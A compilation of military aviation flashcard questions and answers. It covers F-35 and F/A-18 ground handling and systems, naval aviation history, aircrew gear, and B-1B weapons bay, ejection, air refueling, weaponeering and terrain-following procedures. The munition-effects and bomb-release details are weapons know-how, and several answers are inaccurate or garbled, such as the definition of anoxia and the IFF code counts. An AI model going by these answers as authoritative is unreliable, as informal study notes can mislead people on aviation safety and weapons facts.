Propper PPE for fuel sample? cranial, splash proof goggles, gloves, apron, face shield, and long sleeve
what are the lights at the end of the wings called? anti collision lights, strobe lights, wingtip lights, position lights
min strut demensions req for main and nose before towing an aircraft? NLG: .5 MLG: 7 in
Hoist Points? 4 total, 2 upper fuselage and 2 aft fuselage
How many categories of AR's are there? 2 total, CAT 1 and CAT 2
what are the 5 flight inspections? IOS, BOS, POS, ADA, ARA
How often are A/C wash jobs? F-35? 14 days ashore, 7 afloat (every 28 days to conserve LO)
seat portion assembly location? Portside console in cockpit
distance for fuel truck from aircraft? Perpendicular: 10 ft
Parallel: 25 ft
Stop fueling if brake temperature is above what temperature? 750F
Thermal plug on tires will melt at what? 1250F
What Temp. must A/C cleaning be indoors? 40F
PUB for hydraulic contamination control? 4790.2B CH10.5
Cooling air recepticle location? inboard portside weapon bay
During ADA (Aircraft Dispatch Action) what position must the MIP Weapon Bay door switch be in? Flight so the weapons bay doors can close
Where is the external canopy unlock lever located? door 1111
What are the safety and protective devices used of the aircraft? grounding cables, intake covers, exhaust covers, flush port covers, multifunction probe covers, and RAM heat exhaust covers
What must you do for uncommanded acceleration? tell pilot to throttle back apply brakes and throw chalks, if occurs again shut down and restart engine
Safe zones for the intake at idle, mil, and HSLT? Idle: 3ft forward, 2.5 ft out, 1 ft aft
mil: 18 ft fwd, 9 ft aft anf out
HSLT: 25 ft fwd and out, 5 ft aft
while a/c is running how far must you be from radar during a radar BIT? 6 in from radome skin or 4 ft 6 in from radar with radome removed
How many people for a move and what safety equipment is required? 6 people, cranials, whistles, checklist, wands
Where is the PTMS ( Power & Thermal Management System) open loop overboard screen located and what panel #? lower portside fuselage
Cleaning solution for the EOTS? T2 wipes
What instruction is thee PC qualification program in? COMNAVAIRFORINT 4790.2C CH 10.14
What program in ALIS is used to sign of inspections? Computerized Maintenance Management system (CMMS)
What stress panels must be installed before starting a move? Check JTD 2342, 2348, 2351, 2121, 4192, 4101, 2122, 3112
Where is the fuel dump screen located? portside lower part of the wing
Fuel vent screen located? starboard lower aft fuselage
Levels of corrosion? light moderate severe
How many fire detectors are checked during a POS 12
Plane captains number one priority? SAFTEY!
How will a pilot indicate that he has no nose wheel steering? IFR probe out
How will a pilot indicate that he has no brakes? Tail hook will be down
What safety condition must be considered before dropping the tail hook? crushing hazard beneath the hook
What safety condition must be considered before dropping the launch bar? crush hazard beneath the launch bar, pinch/ crush around the flight surfaces when A/C sets for CAT launch
When refueling the truck refuel switch must be in high air low? Truck must start at low speed, until pre-check is complete, then may proceed at high
What does HSLT stand for? High speed low thrust
What is a TCTD? Time Compliant Technical Directive
how many MADL are there? 6
How many DAS are there? 6
Max wind speed allowed to go up the tailpipe before you must move the jet? 30 knots
what is a PAIR? Productive Asset Inspection Requirement
How do you access a work order? Open CMMS, Select the jet on the Squadron Status page, and select word order or open the work order list
Between what times would you motor start a jet after recovery? 20 min, to 6 hours
-------------------------------
May 8, 1911 Birthday of Naval Aviation
June 20, 1913 William D. Billingsly first aviation death
March 20, 1922 USS LANGLEY first naval carrier
March 10, 1948 Fj-1 Fury made first carrier landing on USS BOXER
May 7-8, 1942 Battle of coral sea, first carrier vs carrier battle
June 3-5, 1942 Battle of Midway, turning point of the pacific way, broke the codes
November 13-15, 1942 Battle of Guadalcanal, 5 Sullivan brother died making the family separations in affect. USS JUNEAU was lost
-------------------------------
When is a new seat checkout needed? After 90 days TAD OR 6 months
What is hypoxia? Decrease in the amount of oxygen per unit volume of air that results in not enough oxygen entering the bloodstream
What is anoxia? Death due to lack of oxygen
The two type of Aviators Breathing Oxygen? (ABO) Type 1 gaseous & Type 2 is liquid (99.5% pure oxygen)
Temperature of liquid oxygen? Expansion ratio and pressure? -297 degrees F
862 to 1 & 12,000 psi
Minimum requirements for Air crew PPE? Flight suit, aviator boots, anti-g garment, helmet, survival radio/beacon, gloves, anti-exposure suit, ID tags, knife, personal survival kit, signal device, flashlight, life preserver, laser eye protection
Oxygen Mask Provides breathing gas dependent upon altitude, qualified for depths of 16 ft underwater.
Oxygen Regulator Provides on demand oxygen flow to the aircrew.
LPU-36/P Life Preserver Low profile flotation collar, Flu-8B/P automatic/manual inflation assembly
Anti gravity suit Bladder system encased in a fire resistant cloth
Parachute Harness Sensing Release Unit (PHSRU) Sea water activated release system separating parachute from aircrew
Helmet Mounted Display Unit (HDU) Symbology to be projected onto the visor and superimposed in the operators view. Records real world view through the (CVRS)
Type of ejection seat used SJU-17A (V) 2/A series
What is the ejection seat system operated with? Ballistic gas pressure
What does the Environmental Control System (ECS) provide? Air supply, thermal control and cabin pressurization, as well as avionics cooling, smoke detection and prevention
Twelve subsystems of ECS? Bleed air control, bleed air leak detection, air cycle conditioning, cabin cooling and defog, avionics cooling, cabin pressurization, Anti-G vent suit, OBOGS, windshield anti-ice and rain removal, radar liquid cooling, canopy seal, wave guide pressurization
Anti gravity system? Delivers regulated air pressure to the pilots anti-g suit
What does the On-Board Oxygen Generated System do? (OBOGS) Lines, valves and a concentrator that regulate pressure, control flow and distribution of oxygen to the aircrew
Dry Bay Fire Suppression System (DBFSS) Suppresses fire without pilot action, consists of 14 fire detectors, 6 dry bay extinguishers, and a fire suppression control alarm
-------------------------------
Min distances from the intakes at start up and MIL or MAX 9ft and 25ft
How long is the area immediatly aft of the tailpipes hazerdous for? 15 minutes
At the center of the APU exhaust, what is its velocity and temperature? 142 mph at 328-350 degrees F.
At a 19 inch diameter, what is the velocity and temperature of the APU exhaust? 24 mph at 250-300 degrees F
What type of engine does the F/A-18 E/F have? F414-GE-400
What is the engines description? Its a low bypass, axial flow, dual spool turbo fan engine of modular construction with afterburner
What is the ignition system? Its an automatic, intermittent, AC powered, capacitor discharge system
What is the ignition system made of? Its made of an alternator, FADEC, engine fuel control, ignition exciter, main igniter, AB igniter, AB flame sensors, two fan speed transmitters, and thermocouple harnesses
How is lubrication accomplished? Through a self contained recirculation, dry sump requiring no external connections.
What is the Variable Exhaust Nozzle system? (VEN) Its a cam and link-positioned hinged-flap, convergant-divergant nozzle, mounted to the aft end of the afterburner case
What does the fuel system do? It allows for fuel distribution, control, and storage.
Major system components of the fuel system? Main fuel control, afterburner fuel control, throttle system, fuel cooling and storage.
What is the main fuel controls primary purpose? To govern the amount of fuel flow to the engine from IDLE to MIL power
What is the AB fuel controls primary purpose? To govern the amount of fuel from the start if Afterburner to MAX power.
What does the throttle system provide? Provides the pilot with control of the engines.
What is the throttle system? Its a fly by wire system with no mechanical connections to the engines, made up of a throttle quadrant on the left hand console in the cockpit and grips on the throttle levers.
How is fuel storage accomplished? With 4 internal fuselage tanks and two internal wing tanks.
Fuel capacity ranges from F/A-18 C to F/A-18E 10,200 lbs to 30,000 lbs with 5 external fuel tanks
What are wing tanks made of and why? Made of foam to self heal holes and damages.
What is the Refuel/Defuel system? A manifold with a single point ground monitored from door 8.
How does the internal fuel transfer system operate? Uses pumps #1 and #2 to refill tanks #2 and #3. The wings refill tank #4.
How does the center of gravity control work? Using the signal data computer, fuel tanks #1 and #4 are monitored to prevent CG problems
How does the Hot Fuel Recirculation system work? Fuel absorbs heat from the liquid cooling system, AMAD oil, and the hydraulic fluid in heat exchangers which keep engine components cool.
What does the fuel pressurization and vent system do? It maintains pressure on the fuel in all tanks and vents the fuel vapors away
What is the Auxillary Power Unit (APU)? A centrifugal flow gas turbine engine that gives air to the Engine Control System(ECS), Main Engine Start(MES), and The ground maintenance mode (GMM) through AMADs
What is the Airframe Mounted Accessory Drive (AMAD)? Location? Transmits power to the engine for starts and is connected to the APU through the Air Turbine System (ATS). Located in 53L and 53R
What are the components driven by the AMAD? The fuel boost pump, electrical generator, and a 3000/5000 psi hydraulic pump
What is the purpose of the store? To provide the aircraft with the ability to refuel in flight
What does the store consist of? Intergrated structural, hydraulic, pneumatic, fuel and electrical systems
What does the structural system consist of? Nose (dry) center (wet) tail (dry)
What is the fuel system delivery pressure and the GPM delivery rate? Maintains a pressure of 35 to 60 psi at a delivery rate of 220 GPM
What does the electrical system provide? Provides command and control of the refueling store
What is the Ram Air Turbine (RAT)? Four bladed power source that drives the hydraulic pump via a spline shaft. Automatic feathering with a solenoid operated brake
What is the hydraulic pump? An axial piston type, variable displacment pressure compensated device that displaces an output of 1.53 cubic inches.
What does the fuel transfer pump consist of? A fuel pump and a hydraulic drive motor
What does the guillotine do? Provides an explosive means for cutting off the refueling hose.
What does FADEC stand for? Full Authority Digital Engine Control
-------------------------------
Mode 1 Used for general military identification (32 codes)
Mode 2 Used for personal identification of specific military aircrafts (4,092 codes)
Mode 3/A Used by AC's
Mode C Used for automatic reporting to and air traffic control facility
Mode 4 Encrypted code communication, classified secure kode of operation for military aircraft only
How is a valid control entey identified? By a blink in the scratchpad display
Transponder Receives and transmits RF transmissions In a codec pulse modulated form
Transponder control box Provides IFF transponder operational and test controls
Mode 4 computer (KIT-1A) Stores encrypted codes.
MAC An average chord length determined by the shape of the wing
Center of Lift A composite or average location of all centers of pressure.
Effects of sweeping wings back A swept wing will have a smaller effective velocity
A swept wing increases the critical mach
Types of parasite drag Form (shape), Skin (surface), Interference (nacelles, antennas), Wave (formation of shock waves around aircraft)
Do not exceed Mach 1.0 below what altitude? 7,500' MSL
Supersonic drag for the B-1B peaks at what mach? 1.1M
Horizontal stabilator damage can occur when? If section V limits (1,337 psf) are exceeded. This occurs at Mach 1.0 below 7,500' MSL.
Aspect Ratio Ratio of wing span to average wing chord
Forward wing Aspect Ratio 9.6 (Glider)
Aft wing Aspect Ratio 2.3 (Like a rock)
Aft wing aero AOA limit occurs ______ max lift coefficient before
AOA limit is a function of ___, ____, and ____ mach, CG, wing sweep
Positive static margin Lift far aft of CG
Neutral static margin Lift is equal to CG
Negative stat margin Lift is forward of CG
Aft CG SPI indications TED
Forward CG SPI indications TEU
Exceeding forward CG limit ____ stabilator nose up pitch control authority decreases
What is the principle advantage of a swing wing? Increasing critical mach to reduce fuel use
Effects of sweeping wings aft CG & CL move aft (pitch down)
Static margin increases
Effects of sweeping wings forward CG & CL move forward (pitch up)
Static margin decreases
Do not exceed AMI AOA Limit Bar minus ___ degrees AOA with ___ wing sweep at or above ___ MSL with SEF or SIS on. 2, full aft, 17,000'
Do not perform ___ rolling maneuvers with ___ extended 360 degree, speed brakes
Avoid ___ maneuvers near the limit AOA at any ___ condition abrupt rolling, CG
Do not perform ____ maneuvers unless ____ is fully operational full lateral stick displacement, YAW AUG
Limit ___ to ___ when ___ is illuminated. ____ or ___ may occur lateral stick displacement
2/3 of full displacement
YAW AUG OFF
Flameout
Compressor stall.
____ contributes to a ___ tendency during stalls Lifting body providing lift forward of CG, pitch-up
Normal flight stability Positive static margin
___ wing approach to stall will only be done in the simulator 25
Primary escape route for emergency egress Entry Ladder
Relieves differential pressure across the crew compartment entry hatch Pressure relief door
This must always be opened first when opening the crew compartment entry hatch Pressure relief door
If the entry hatch seal does not depressurize after engine shutdown and normal door operation, use the ___ crew entry hatch seal pressure emergency release located behind DSO seat
If a hatch is manually jettisoned from the inside, the seat is ____ still functional
The aft hatches can be ___ or ___ Manually opened or jettisoned
The forward hatches can only be ___ Jettisoned
Loss of the ___ in flight renders the ____ inoperative aft escape hatch
ejection seat
Using the ___ handle renders the respective seats ____ External emergency hatch jettison, inoperative
You can/cannot mix unguided and guided weapon types in a bay cannot
The two types of ejector racks are the ___ and the ___ 14" and 30"
14" ejector racks are used on the ___ and ___ SBM-10 and CBM-28
30" ejector racks are used on the ___ CRL
Unguided weapon bay release order AFT, INT, FWD
Minimum weapon release interval 20ms
Maximum weapon release interval 10s
Single bay release interval (minimum) 60ms
CBM-28 is used for ___ only 500lb unguided weapons
SBM-10 is used for ___ 500/1000lb guided/unguided
SBM-10 loading limitations Unable to mix guided with unguided
Unable to mix unguided types
CBM-28 Interface CSL (Conventional Station Logic Unit), 1553 data bus
SBM-10/CRL Interface CWIU, 1760 data bus
CRL is used for ___ 2,000lb guided/unguided
Forward doors primary and alternate hydro source Hydro 3, Hydro 2
Intermediate doors primary and alternate hydro source Hydro 4, Hydro 2
Aft doors primary and alternate hydro source Hydro 4, Hydro 1
Stores bay door opening, closing, jettisoning max speed 562KIAS or 0.9M
Pilot doors close switch or ALL Jettison 492 KIAS
Spoiler fails to retract/bay doors closed 430 KIAS or 0.85M
Stores bay doors fail to close 270 KIAS or 0.6M
An additional ___s will be required if a hydraulic malfunction occurs when doors are commanded open 5.5s
If doors do not open after ___s, control of doors is lost 12.5
Time required to launch JASSM from positions 1, 2, 3 9s
Time required to launch JDAM from positions 1, 2, 3 13.5s
Restrictions on maneuvering after weapon release (non JDAM) Maintain normal acceleration for 2 seconds
Rolling within 1s is prohibited
The ___ safety handle prevents inadvertent movement of a CRL Forward right
Shims are required on stations ___, ___, ___, ___ for JDAMS to be mounted on a CRL 1, 3, 5, 7
It is possible to load ___ JDAMs and JASSMs on a CRL with the CRL configured as a ___ launcher up to 8, JASSM
Door sequence/restrictions for PART open launches No restrictions
Door sequence/restrictions for FULL open launches AFT opens first, then FWD + INT
FWD + INT close first, then AFT closes last
There is a ___s delay between door cycles 3
Procedures for hung ordinance (Inert) Declare IFE
Shutdown to APUs
Crew remains in acft
Doors remain closed
Procedures for hung ordinance (live) Declare IFE
Shutdown to APUs
AC remains in aircraft (crew evac min 300')
Retained ordinance limitations No simulated bomb/missile runs
No unusual maneuvers
No approach to stalls
No touch & go's
No potentially hazardous activities
No practice EPs
No simulated bombing runs
False hung weapon indication caused by slow away switch
Both ___ and ___ can initiate ___ jettison OSO, pilot, ALL
Only ___ can selective jettison & requires ___ consent OSO, dual
CBM jettison time 1.6s
CRL jettison time could exceed 1 minute (63s)
___ wing sweep is the ___ configuration to jettison stores 45, worst
___ wing sweep is the desired configuration to jettison stores 25
Jettisoning stores should be avoided during ___ due to ___ takeoff, extra drag from bay spoilers
___ have hinge moment limits All flight control surfaces
360 degree rolling maneuvers are limited to ___ wing and aft 45
The ___ should be used if HML is encountered and a rolling action is needed rudder
Do not use spoilers for maneuvering under ___ AGL 1,000'
Airspeed limit for 15-20 wing 0.7M
Airspeed limit for 25 wing 0.8M
Airspeed & altitude for 67.5 wing 1.2M, > 15,500' MSL
Do not use ___, ___ and ___ together as it may cause inaccurate ___ indications Flaps, slats, spoilers, AOA
Cornering Velocity Lowest airspeed where maximum G can be attained
Energy Sustaining Turn Turn that maintains airspeed and altitude, preserving potential and kinetic energy.
30 Mil Power Ceiling 1.15g
45 Max Power Ceiling 1.41g
E-Pole Min range from a threat at which a max performance "out" maneuver can be performed to kinetically defeat threat (no stern-aspect WEZ consideration)
MAR Minimum abort range. Min range to the closest threat that allows for a max performance "out" maneuver to be performed to kinetically defeat threat and results in being outside stern-aspect WEZ
PIC shall ensure ___ O2 for planned mission (___ +/- ___) sufficient, 1,800psi, 200psi
MSOGS provides appropriate concentration of oxygen from ___ to ___ surface to 27,000' MSL
MSOGS is powered by bus ___ and ___ 1 and 3
Pilots are required to have oxygen mask on during these phases Initial takeoff to initial oxygen check
Final Approach Fix or turn to visual final through landing or missed approach
Air refueling from pre-contact through termination of refueling operations
Pilots will have oxygen ___ available from 10,000' to FL250 readily
One pilot will have oxygen ___ available and one pilot will have oxygen ___ available from FL250-FL350 immediately, readily
ACES II ejection envelope 0-500KIAS
Surface to maximum flight altitude
Optimum ejection airspeed 250-300KIAS
Whenever possible, eject above ___ KIAS and below ___ KIAS 50, 500
Ejection order OSO, DSO, Copilot, Pilot
3-engine rotation speed is ___ kts above normal 6
Bone standards require ___ second spacing between ejections 5
Min altitude for controlled ejection 2,000' AGL
Min altitude for uncontrolled ejection 15,000' AGL
Manual ejection is the ___ means of escape if the aircraft is under control and at least ___ are available to follow recommended ejection schedule safest, 12
___ mode will bypass safety pins and the handle lock if ejection is initiated AUTO
Mode 1 ejection Slow & low (< 15,000' MSL)
Mode 2 ejection Fast & low (< 15,000' MSL)
Mode 3 ejection Fast & high (> 15,000' MSL)
In high terrain, it may be necessary to use the ___ Manual chute handle
Uncontrolled ejection command "BAILOUT BAILOUT BAILOUT"
Controlled ejection command "OSO, eject!"
ICS out ejection sequence All seats in AUTO, Prep to Eject, Upon cabin dump OSO will initiate ejection
If pilot/copilot seat retracts & hatch is jettisoned and seat does not eject with the mode selector in AUTO, then the seat has ___ failed
In AUTO and if the seat has retracted but the overhead hatch is not jettisoned, ___ pull the hatch jettison handle and kiss your arm goodbye
In AUTO and if the seat has not retracted and hatch has not jettisoned after ejection sequence has been initiated, ___ pull ejection handles to eject.
What is the bomber turn-on RV offset and turn radius per ATP 3.3.4.2? 10nm offset with 15nm turn radius
What is the standard EMCON used in day to day (peacetime) operations for RV/AR? EMCON 2
How far away can the receiver go from the tanker before MARSA is cancelled by the tanker? 3 NM
If you are not visual on the tanker at 1 NM, what should you do? Climb to 500' below the tanker, stabilize, and then use less than 10kts of closure to start closing the gap
What is RV Golf also known as? Enroute RV (both aircraft navigate independently to ARIP)
What is the maximum AR altitude for training? Less than or equal to the max refueling altitude at 1.3G available
If an overrun is detected with a KC-135, what should be called and executed? "TANKER Callsign, execute overrun"
Tanker will then accelerate to 355KIAS/0.90M
BONE will slow to 270KIAS/5 AOA (Single ship) or 280 KIAS / 4 AOA and 270 KIAS / 5 AOA (Formation)
If an overrun is detected with a KC-10, what should be called and executed? "TANKER Callsign, execute overrun"
Tanker will then accelerate to 350KIAS/0.88M
BONE will slow to 270KIAS/5 AOA (Single ship) or 280 KIAS / 4 AOA and 270 KIAS / 5 AOA (Formation)
What is the transonic region for the B-1B, and where do we set the wings in this region? 0.8-1.2M, 67.5/full aft
Stall is defined as a condition where an increase in the AOA results in decrease in the Cl. In the B-1B when this happens, the aircraft will ___ because of ___. Pitch up
Lifting body providing lift forward of the CG
The CADC uses the ___ instead of the chord line for AOA calculations fuselage reference line
In normal flight conditions and CG configurations, the SPI for the stabilator will indicate ___ 5-10 TEU
When using OPT CRUISE, before sweeping wings from 25 to ___, you must ensure that the MAC is forward of ___% and FCGMS is in the ___ mode. 15, 29, NORM
If you sweep the wings and the CG ends up out of limits, what is the fastest way to fix this issue? Return wing sweep to the previous setting.
How many unguided weapons can be released on one target? One
How many weapons can you release in a single pass? 84
Which solenoid is the arming solenoid? Mid
How long does it take to rotate the CRL from one station to the next? 4.5s
What does the CSL do? Provides an interface between the CACU and dumb weapons via 1553 WIU
Electrical interface between the CBM rack ejectors and ACUC (weapons tracking)
In an AUTO release, when do doors open? 13.6s before release (just AFT or FWD+INT)
27.2s before release (all bays)
When dropping unguided weapons, releases are ___ if aircraft is outside of airspeed, attitude, or CG limits. not inhibited
The Mk-84 body (GBU-31, Mk-84, BDU-56) and ___ can be mixed on the same ___ JASSM, CRL
What is a retained weapon? Ordnance on the aircraft that never received a release pulse.
Pilot initiated jettison ALL has ___ precedence over OSO-initiated jettison command
When dealing with CG and hung stores, what assumption is made? Aft bay has all hung stores
When prosecuting a target, what consent is required to release weapons on a target? Dual consent from pilot and OSO (Safe/ARM switches)
What must be powered to release a weapon? WIU (CBM-28) / CWIU (SBM-10/CRL)
When is the outboard spoiler deadband at +/- 0.10" travel? < 0.45M & 10, 15, 25 wing (< 34*)
When is the outboard spoiler deadband at +/- 0.50" travel? > 0.50M & 45, 55, 65, 67.5 wing (> 35*)
Rudder limit with slats AND gear up. +/-10*
Rudder limit with slats extend OR gear down +/-25*
When is HML most likely to occur? Low altitude and high speed flight
When accomplishing an anchor refueling RV, and more than one anchor is used, adjoining anchors will normally be parallel and anchor points will be separated by a minimum of __ NM 60
When is A/R permitted without tanker disconnect capability? To ensure safe recovery of aircraft
To complete contingency ops, deployment, redeployment, or per MAJCOM
What must be done to conduct emergency override training? Brief procedures during msn planning
Coordinate pilot and boom procedures
Receiver must demonstrate disconnect capability prior
Do not accomplish breakaway training or demonstrate envelope limits while in contact unless what conditions are met? Receiver system is in normal
Tanker disconnect capability is checked
Tanker pilot, boom, receiver pilot must coordinate prior to maneuver
In normal circumstances (EMCON 2), when should you not attempt A/R? If unable to make comms between boom and receiver pilot
If you are refueling at night, how should you configure your lights? Annunciator light on, external lights at 6-o'clock, slipway lights at 6 o'clock, strobes off, lights bright & flash
If you are refueling in the daytime, how should you configure your lights? Bright, steady, flash, annunciator light rotary on (6 o'clock)
Who declares/accepts MARSA? Tanker
If visual contact and radar contact is not made when approaching 1 NM from tanker, what should you do? Do not proceed inside 1 NM
What stipulation is made with B-1B A/R when using ILST? Radar LOCK must be maintained to proceed to 0.3NM
If an overrun is called, what does the receiver do? Decelerate to 270 KIAS (5 AOA) and establish 1,000' altitude separation
If in formation, decelerate to 280 (4 AOA) and wingman will decelerate to 270 (5 AOA)
What is the visual signal for a breakaway? Flashing director lights and the rotating beacon on.
What is a brute force disconnect? An unplanned disconnect as a result of rapid aft movement or exceeding elevation limits
What is a controlled tension brute force disconnect? An intentional disconnect that uses smooth and gradual movement to force disconnect from the boom (last resort)
If the LATCHED light remains on following disconnect, what should you be concerned about? FCGMS remains in the A/R mode and uses main tanks only to feed the engines. Must manually transfer fuel.
Notification to the NTSB is required when there has been substantial damage which adversely affects structural strength or flight characteristics
NTSB Part 830 requires an immediate notification as a result of which incident? Any required flight crewmember being unable to perform flight duties because of illness
Which incident would require that the nearest NTSB field office be notified immediately? In-flight fire
Which airborne incident would require that the nearest NTSB field office be notified immediately? Flight control system malfunction or failure.
While taxiing for takeoff, a small fire burned the insulation from a transceiver wire. What action would be required to comply with NTSB Part 830? No notification or report is required
While taxiing on the parking ramp, the landing gear, wheel, and tire are damaged by striking ground equipment. What action would be required to comply with NTSB part 830? No notification or report is required
During flight a fire, which was extinguished, burned the insulation from a transceiver wire. What action is required by regulations? An immediate notification by the operator of the aircraft to the nearest NTSB field office
When should notification of an aircraft accident be made to the NTSB if there was substantial damage and no injuries? Immediately
-------------------------------
Causes tremendous overpressure, with peak occurring in a microsecond. Blast
MAEB Mean area of effectiveness. Area of the circle which blast effects will damage target to specified criteria
Size and velocity depend on case thickness, material, ratio of explosive weight. Fragmentation
MAEF Mean area of effectiveness. Area in which fragment density is high enough to cause specified amount of damage.
When using fragmentation type weapons, what happens when you increase the impact angle? A more uniform fragmentation pattern.
Bomb penetration/cratering depends on ___, ___, ___, ___ Fuze delay, case hardness and aerodynamics, impact angle, impact velocity.
DC Damage Crater (diameter of unfilled crater)
DD Damage Diameter (diameter of damage around crater (includes cracking, lifting and heaving).
Armor penetration is achieved by ___ High kinetic energy shaped charge penetrators
Mk-82 min release intervals Single bay - 60ms
Dual bay - 30ms
Three bay - 20ms
Mk-82 AIR loadout per bay/total 28 per bay/84 total
Mk-82 LDGP loadout per bay/total 27 per bay/81 total (cannot load station A35)
SBM10 - 7 per bay/21 total
GBU-38 release altitude At or above 15,000' MSL
SBM-10 GBU-38 considerations 6 weapons per bay (FWD/INT), 3 weapons in AFT bay, forward bank only (pitch down issues due to airstream)
Methods to alter CEM density Spin rate
Height of function/time of function
Delivery parameters (opening angle)
Interval
BONE Standard employment for CBU-103 1,500' HOF, 2,000 spin rate
BONE Standard employment for CBU-87 1,200' HOF, 2,000 spin rate
Safe escape criteria Release altitude high enough to prevent 0.001 chance of aircraft being hit by weapon fragments.
Safe separation criteria Fuze setting large enough to provide spacing to 0.001 probability from early weapon detonation
What must be considered on every sortie via CWDS? Safe escape
What does safe escape NOT account for? Secondary Explosions
Lug/hardback components
Nose plug/fuzes/tail fins
What is the peacetime pad that is added to all releases for safety? 20%
What datum does the B-1 navigation system use? WGS-84
When planning a bomb run, what should be selected before modifying intervals, speeds, stick lengths and WPT (Weapons Per Target)? Priority
What is weaponeering? The process of determining the quantity of a specific type of lethal or non lethal weapons required to achieve specific effect to a given target.
What is targeting? Process of selecting and prioritizing targets and matching the appropriate response to them, considering operation requirements and capabilities.
REP Range Error Probable (for stick/MBW weapons), distance either long/short of aimpoint where 1/2 of the weapons impact
DEP Deflection Error Probable (for stick/MBW weapons), distance either left or right of aimpoint where 1/2 of the weapons impact.
What are the biggest errors that we can introduce into bomb runs? Release timing (most significant for MBW)
Altitude error (biggest error we can control)
What is required in the preflight when carrying weapons? OSO must inspect one weapon type per bay.
Due to airflow differences in three bays, the ___ varies by bay. LAR
During release checks, switch positions that are incorrect for the release are highlighted ___ indicating the release will not occur unless corrective action is taken. This occurs at ___ TTG. red, 15
What is armor penetration munitions used against? Tanks and APCs
How is cratering achieved? Through penetration or GP munitions with a delayed fuse.
___% of GP bombs are explosive material. 50%
What are incendiary weapons effective against? Fuel and things that burn.
If there is a discrepancy between CWDS and the T/O when calculating safe escape and separation, what should be used? CWDS
What is primary result of blast effects? Collapse walls and roofs.
What is fire effective at doing? Interrupting operations of people and damaging supplies.
What are the factors that increase a LAR? Speed, angle of approach, decreasing desired impact angle
If you have assigned 5 weapons to a target, and one of the weapons project impacts falls within a safe area, what happens? AFS holds the weapon that will fall in the safe area and releases the other 4 weapons
If all weapons are released/jettisoned from the FWD and INT bays, what is the primary concern? Post release CG issues.
What is the best wing settings for release/jettison of weapons? 25 wing
What is the worst wing setting for release/jettison of weapons? 45 wing
What mode will not work with a kill box and does not honor the established restrictions? WPT Priority
What navigation mode uses HAE (Height Above Ellipsoid)? GPS
What elevation measurement does WGS 84 use? MSL (Mean Sea Level)
What is the ratio of error to altitude with high drag weapons? 2:1 (two times the altitude error)
What is the ratio of error to altitude with low drag weapons? 1:1
What do we have no control over when releasing weapons? Ballistic dispersion
If you have selected a circular pattern with 3 WPT and center selected as "YES", how many weapons will be released? 4
When releasing JDAMs, when are we releasing? In zone
When releasing WCMD, when are we releasing? In range
Essential bus failure does not illuminate what light? ELEC caution light
Which caution panel is not powered during an essential bus or bus 3 failure? Auxiliary caution panel
What are the indications of a motoring generator? Normal freqs but no volts
What is the maximum amount of time the battery will operate for if a Bus 1 and 3 failure occurs? 45 minutes
If you have an essential bus failure and cycle the emergency generator switch with no results, should you continue to cycle the emergency generator switch? No, only one actuation is advised.
What bus failures would provide for the most degraded FLCS? Essential bus or bus 3
Which PFD remains powered by the aft battery if a total AC failure occurs? Copilot
If any bus fails during/before TF, can you continue? No
What considerations should you have with a bus 1 and/or 2 failure while heavy weight? Higher chance of blown tire due to total or partial anti-skid failure.
What are the general corrective actions when responding to a known bus 1-4 failure? Run ELEC caution light checklist
Perform latch reset
What are the general corrective actions when responding to a known multiple bus failure? Run the multiple bus failure checklist
Refer to the individual bus failure checklists
All bus failures direct you to ___ land as soon as possible
When a single EMUX control box fails and you are attempting to reset the EMUX, what must you be sure of? That you are interrupting the bad MUX otherwise you could cause a total EMUX failure
If you are performing an interrupt of a bad MUX, what must you have? CITS available
With a total EMUX failure, what does the CG default to? Where the SET knob is set to
How can you differentiate between a total EMUX failure and total AC failure? Throttles are still responsive
CNMS is still powered
When performing a total EMUX failure landing, what must be done with your approach airspeed? Add 10kts due to no SEF/SIS.
If the ___ caution light is illuminated, verify ___ is available and start with the DD EMUX malfunctions checklist. EMUX, CITS
If the ___ caution light is illuminated and one or more ___ lights are on with no ___ light, go to the bus failure checklists. ELEC, bus, EMUX
___ letdown is used to enter TF when above RA lock-on. Auto
The ___ and ___ must be engaged to schedule climb/dive commands TF Adapters, Pitch Steer switch in TER FLW
The pitch steer switch set to TER FLW provides ___ for flyups gain scheduling
The components of the TF system that have redundancy are the ___, ___, and ___ TFACU, Radar altimeter, FDC/M
When using the PRTY TER FLW/MAP switch, what always has priority regardless of the setting? TER FLW
When using the PRTY TER FLW/MAP switch in TER FLW, what is the average time between straight flight scans? 4.5s
When using the PRTY TER FLW/MAP switch in MAP, what is the average time between straight flight scans? 6s
When can the in flight TF check not be accomplished? When the RA is locked on.
How many pitch steer switches must be in the "TER FLW" setting to provide the 1.85 or 2.4g fail-safe flyup? Only one
What FDC/M modes does TER FLW operate in? NAV, MAN HDG or OFF
What indication on the TF video is cause to terminate TF? Excessive pre-emptive scans
When would you see the first indication of a failed TFACU? During the RALT test ("FAIL" displays instead of "TEST")
When commanding a turn in TF, what is the number of bars a function of? Turn rate, bank angle, roll rate
What is the max number of bars in a turn in TF? 8
What happens to the time to scan in a turn in TF? Increased
How long of a lead time is provided in a turn in TF? 25s (2.5*/s turn rate)
What is the max uplook of the TF ORS? Safety margin? 24*, 3*
What is the max downlook of the TF ORS? Safety margin? 20*, 1*
The TF system is considered a ___ system. closed loop
How would you determine that the TF system is in vote control mode? A box would be displayed around the RALT and a DFP would be displayed
How many TFACUs do you need for TF? 1
If you get a PITCH AUG 1 light that resets, can you continue TF? Yes, if it resets.
If you get a PITCH SCAS OFF light that resets, can you continue TF? No, even if it resets.
If you get an ___ flyup, terminate TF> unexplained 83% violation
When going 1st detent, what should you be looking for? Interrupt caution light, no FLYUP1 light, CMCs indicate 1st detent
Do not place ___ or engage ___ until within gross weight and min mach envelope (based on PA at time of engagement) pitch steering to TER FLW, engage AFCS TF
When accomplishing an initial auto letdown into the low level environment, what SCP must be set? J (1,000')
The bias limit is ___ at or above 500' +100/-60
The bias limit is ___ below 500' +60/-30
What is the bias limit checking? Radar installation errors are within allowable limits.
When performing a blind let down, you are giving up the ___ and ___ failsafe flyup at 2,500' AGL advisory scans, ORSA
By depressing the test pushbutton on the RA control panel the status of the ___ in the ___ is checked auto flyup circuits, TER FLW adapters
When depressing the test pushbutton on the RA control panel, a ___ pseudo altitude is generated by the ___ and if the prime auto flyup circuit is operational, a ___ is generated 400', RDTs, climb/dive
Why is it necessary to perform an auto flyup test a second time? You are checking the climb/drive & flyup generation capability of the other TFACU/RDT
The ___ provides terrain detection in areas of very abrupt ___ terrain which would otherwise not be detected until ___ TF Advisory Scans, sheer, RA lockon
While performing a auto letdown, the ___ is displayed on the PFD (but no climb/dive commands are used for aircraft control) DFP
The ___ and ___ advisory messages will be displayed if performing a blind letdown SCAN OFF, ORS OFF
